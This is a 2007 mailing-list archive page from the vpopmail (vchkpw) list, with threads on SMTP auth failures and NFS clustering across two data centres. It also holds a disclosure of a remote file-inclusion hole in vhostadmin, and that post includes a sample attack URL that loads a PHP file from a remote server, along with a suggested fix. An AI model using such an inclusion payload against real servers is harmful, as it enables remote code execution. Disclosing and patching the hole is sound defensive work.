Re: [vchkpw] smtp auth failed when no email to be retrieved

2007-01-29 Thread Winanjaya - CBN

sure.. I already checked .. because he/she able to send email with smtp auth
after he/she got email  from their pop account otherwise if he/she does not
have any email to be retrieve then the smtp auth will failed..

pls help

Regards
Winanjaya

New Page 1
- Original Message -
From: Shane Chrisp [EMAIL PROTECTED]
To: vchkpw@inter7.com
Sent: Monday, January 29, 2007 2:08 PM
Subject: Re: [vchkpw] smtp auth failed when no email to be retrieved


 On Mon, 2007-01-29 at 13:59 +0700, Winanjaya - CBN wrote:

 Has the user checked the option my outgoing server requires
 authentication?

 Shane

  Dear All,
 
  I am runnning qmail+vpopmail 5.4.17 with smtp auth for roaming users, my
  users use Outlook Express as email client to send/receive email.
 
  My problem is:
  It seems like smtp auth failed (see below message) when he/she does not
have
  email to be retrieve.
 
  I need advise..
 
  Thanks  Regards
  Winanjaya
 
 
 
  The message could not be sent because one of the recipients was rejected
by
  the server. The rejected e-mail address was '[EMAIL PROTECTED]'.
Subject
  'test', Account: 'mail.lippogeneral.com', Server:
'mail2.lippogeneral.com',
  Protocol: SMTP, Server Response: '553 sorry, that domain isn't in my
list of
  allowed rcpthosts (#5.7.1)', Port: 25, Secure(SSL): No, Server Error:
553,
  Error Number: 0x800CCC79
 
 
 
 
  ***
  Our outgoing mail has been scanned by MSS.
  ***-***
 


***
Our outgoing mail has been scanned by MSS.
***-***



[vchkpw] NFS Clustering

2007-01-29 Thread DAve

Good afternoon/evening/morning,

We have been tasked with splitting our mail services between our two 
NOCs. We have ordered a 1GB fiber connection between both locations.


We will be moving one of two mailgateways, two of four pop toasters, and 
one of two smtp servers to the second NOC. Both border routers will be 
BGP advertising the same IP range and each location will have hardware 
load balancing. I can easily setup replication for my MySQL backend, but 
my NFS mail store is another concern.


Is anyone else working with this type of configuration? I've not yet 
looked into NFS clustering or what may be involved. (I will have a iSCSI 
based SAN available which will have nodes/modules in both geographical 
locations, which may help).


Any advice on what methods/tools work well is appreciated.

Thanks,

DAve
--
Three years now I've asked Google why they don't have a
logo change for Memorial Day. Why do they choose to do logos
for other non-international holidays, but nothing for
Veterans?

Maybe they forgot who made that choice possible.


RE: [vchkpw] NFS Clustering

2007-01-29 Thread Nicholas Harring
If you haven't yet bought hardware for the NFS, NetApp makes this a snap
with SnapMirror. I don't remember all of the ins and outs, but its
perfect for situations like this, its very bandwidth efficient, and its
got the same bullet-proof reliability their products are known for.

Otherwise I'd think your SAN vendor should have some form of block level
replication available.
Hope that helps,
Nick 

-Original Message-
From: DAve [mailto:[EMAIL PROTECTED] 
Sent: Monday, January 29, 2007 3:59 PM
To: vpopmail
Subject: [vchkpw] NFS Clustering

Good afternoon/evening/morning,

We have been tasked with splitting our mail services between our two 
NOCs. We have ordered a 1GB fiber connection between both locations.

We will be moving one of two mailgateways, two of four pop toasters, and

one of two smtp servers to the second NOC. Both border routers will be 
BGP advertising the same IP range and each location will have hardware 
load balancing. I can easily setup replication for my MySQL backend, but

my NFS mail store is another concern.

Is anyone else working with this type of configuration? I've not yet 
looked into NFS clustering or what may be involved. (I will have a iSCSI

based SAN available which will have nodes/modules in both geographical 
locations, which may help).

Any advice on what methods/tools work well is appreciated.

Thanks,

DAve
-- 
Three years now I've asked Google why they don't have a
logo change for Memorial Day. Why do they choose to do logos
for other non-international holidays, but nothing for
Veterans?

Maybe they forgot who made that choice possible.


[vchkpw] XSS Bug in vhostadmin

2007-01-29 Thread Shane Chrisp
I know this is not exactly vpopmail related, but as its a vpopmail
related tool i thought others here would like to be made aware of this.

I have been using vhostadmin for a while now, and have just noticed that
it is vulnerable to a xss attack which could lead to the underlying
system being cracked. The problem is the $MODULES_DIR var is not being
protected against injection of a remote path and simply accepts whatever
is passed to it such as

http://server/path/to/vhostadmin/modules/main.php?MODULES_DIR=http://remoteserver/path/to/bad/file.php?cmd=0wn3d


A quick fix is to change global.inc and change 
$MODULES_DIR = 'modules';
to
define(MODULES_DIR, modules);

and then change all references in any file it appears in of 

$MODULES_DIR 
to 
MODULES_DIR 

and comment out any references to 

global $MODULES_DIR;
to
//global $MODULES_DIR;


There may be other issues, but this one I came accross yesterday when I
noticed the above formated url in the apacge logs. Also, we have
modified some of the system ourselves, so it is entirely possible that
we may be partly to blame for some or all of this, but it would
certainly be worth watching out for if you are using the system.

Regards
Shane